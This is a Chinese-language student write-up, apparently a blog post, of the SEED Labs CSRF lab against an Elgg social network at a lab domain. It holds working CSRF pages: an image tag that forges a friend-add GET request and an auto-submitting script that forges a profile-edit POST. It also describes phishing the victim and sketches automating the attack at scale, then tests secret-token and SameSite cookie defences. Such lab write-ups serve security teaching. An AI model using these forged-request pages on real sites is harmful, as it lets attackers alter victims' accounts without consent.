[seed-labs] 跨站请求伪造(CSRF)攻击实验

[seed-labs] 跨站请求伪造(CSRF)攻击实验

实验目的

  • 了解跨站请求伪造(CSRF)攻击。CSRF 攻击涉及一个受害用户、一个受信任的网站和一个恶意网站。受害用户在访问恶意站点时,正在与受信任的网站保持活动会话。
  • 恶意网站将可信网站的 HTTP 请求注入到受害者用户会话中,造成损害。
  • 通过 CSRF 攻击来攻击一个社交网络应用。
    • 跨站请求伪造攻击
    • CSRF 对抗措施:秘密令牌(secret token)和同站 cookie(same-site cookie)
    • HTTP GET 和 POST 请求
    • JavaScript 和 Ajax

实验步骤

环境设置

  • 启动容器

    image-20221201143029556

  • 添加DNS设置

    image-20221201143203582

    修改

    image-20221201143448389

Task 1:观察 HTTP 请求

  • 已知用户名,我们尝试传参观察

    image-20221201144752028

    • 通过提交用户口令可以明显看出这是一个POST传参,虽然没有明确标出,但是返回了相关的输入信息,token值、以及用户名和密码

    image-20221201145605372

    • 该传参为一个GET传参,有标出,通过点击页面中的powerd by获得,和上面差不多

    image-20221201145624937

Task 2:使用 GET 请求的 CSRF 攻击

  • 假设我是Samy,我首先登入自己的个人博客,并测试添加朋友API正常

    image-20221201150016065

  • 接下来一步就是想办法让Alice点击它,我们首先通过抓包查看该功能下的接口,打开工具重新添加

    image-20221201150505974

  • 现在只需要构造一个url,让Alice尝试访问他即可添加Samy的,那么需要看看自己的addfriend id,打开F12查看源码搜索users找到目标

    image-20221201151901606

  • 得到id后根据提示我们使用img标签,吸引Alice点击它,其实也可以使用alert或者title(希望弹窗不要吓到她),这里还是使用img吧

    <html>
    <body>
    <h1>This page forges an HTTP GET request.</h1>
    <img src="http://www.seed-server.com/action/friends/add?friend=56">witdh="1" height="1" />
    </body>
    </html>
    
  • 把attaker文件夹下的addfriend.html编辑成如上然后cp到攻击网站的主页

  • 构造好之后钓鱼Alice即可被动关注我

    欧美精品帅哥点击链接即可查看

    image-20221201155327178

    image-20221201155416000

    image-20221201160327693

  • 成功

Task 3:使用 POST 请求的 CSRF 攻击

  • 首先根据提示编写代码

    <html>
     <body>
      <h1>This page forges an HTTP POST request.</h1>
      <script type="text/javascript">
       function forge_post(){
        var fields;
        fields = "<input type='hidden' name='name' value='Alice'>";
        fields += "<input type='hidden' name='description' value='Samy is my Hero'>";
        fields += "<input type='hidden' name='accesslevel[description]' value='2'>";
        fields += "<input type='hidden' name='guid' value='56'>";
     
        var p = document.createElement("form");
        p.action = "http://www.seed-server.com/action/profile/edit";
        p.innerHTML = fields;
        p.method = "post";
        document.body.appendChild(p);
        p.submit();
       }
       window.onload = function(){forge_post();}
      </script>
     </body>
    </html>
    
  • 命名为edit.html

    image-20221201161234961

  • Samy通过邮件钓鱼

    image-20221201161912885

  • 可以看到已经更改

    image-20221201161900517

  • Q1:Boby在像Alice添加好友时,可以通过F12看到http的URL中有参数56,这样即可拿到Alice的用户id

  • Q2:不能攻击成功,因为攻击网页的用户已经指定,所以不可以大范围攻击

    • 如果想要攻击可以写一个自动化的脚本,通过字符匹配获得用户的id从而得到自动生成并邮件转发(之前有个加好友的病毒大概是这样的)

Task 4:开启 Elgg 的防御措施

  • image-20221201170832871

  • 把这个生成token的函数注释掉吧

  • 重复攻击

  • fields += "<input type='hidden' name='description' value='Samy is my 111'>";
    
  • 失败

    • image-20221201171219122
  • 后台生成的的随机值无法绑定前台接口,从而导致攻击失败,在网站看来是请求失效,因此攻击者的页面会被重新加载并伪造POST请求

  • 我们需要一个随机值访问当前页面上的接口后,后台才会对该随机值进行校验,我们无法伪造出这个随机值

  • 构造的HTML标签产生的合法跨域只能是单项请求,无法通过CSRF直接读取返回的内容

  • 关闭标签页后,链接关闭,请求结束

Task 5:测试同站 Cookie 方法

  • 登入

    image-20221201175729476

  • 访问attacker无cookie

    image-20221201172814103

  • 分别用GET和POST

    image-20221201175918702

  • Lax和Normal携带了Cookie

    image-20221201180302560

  • 只有Normal携带了Cookie。设置了SameSite的属性,Strict,Lax,Normal分别控制了Cookie是否适合当前请求方式,如Get,Post

  • Q1:因为cookie写入的域名和请求的接口域名不一致或者token不一致,导致浏览器判定为跨域,所以不传递cookie,

  • Q2:可以拿对方传递过来的cookie和自己的cookie对比,如果发现不相同则判定为跨域

  • Q3:使用same-site属性为strick,完全禁止第三方cookie,跨站点是,任何情况下都不会发送cookie,换言之,只有当前网页的url与请求目标一致才会带上cookie。较为放松的是Lax

篇外

  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值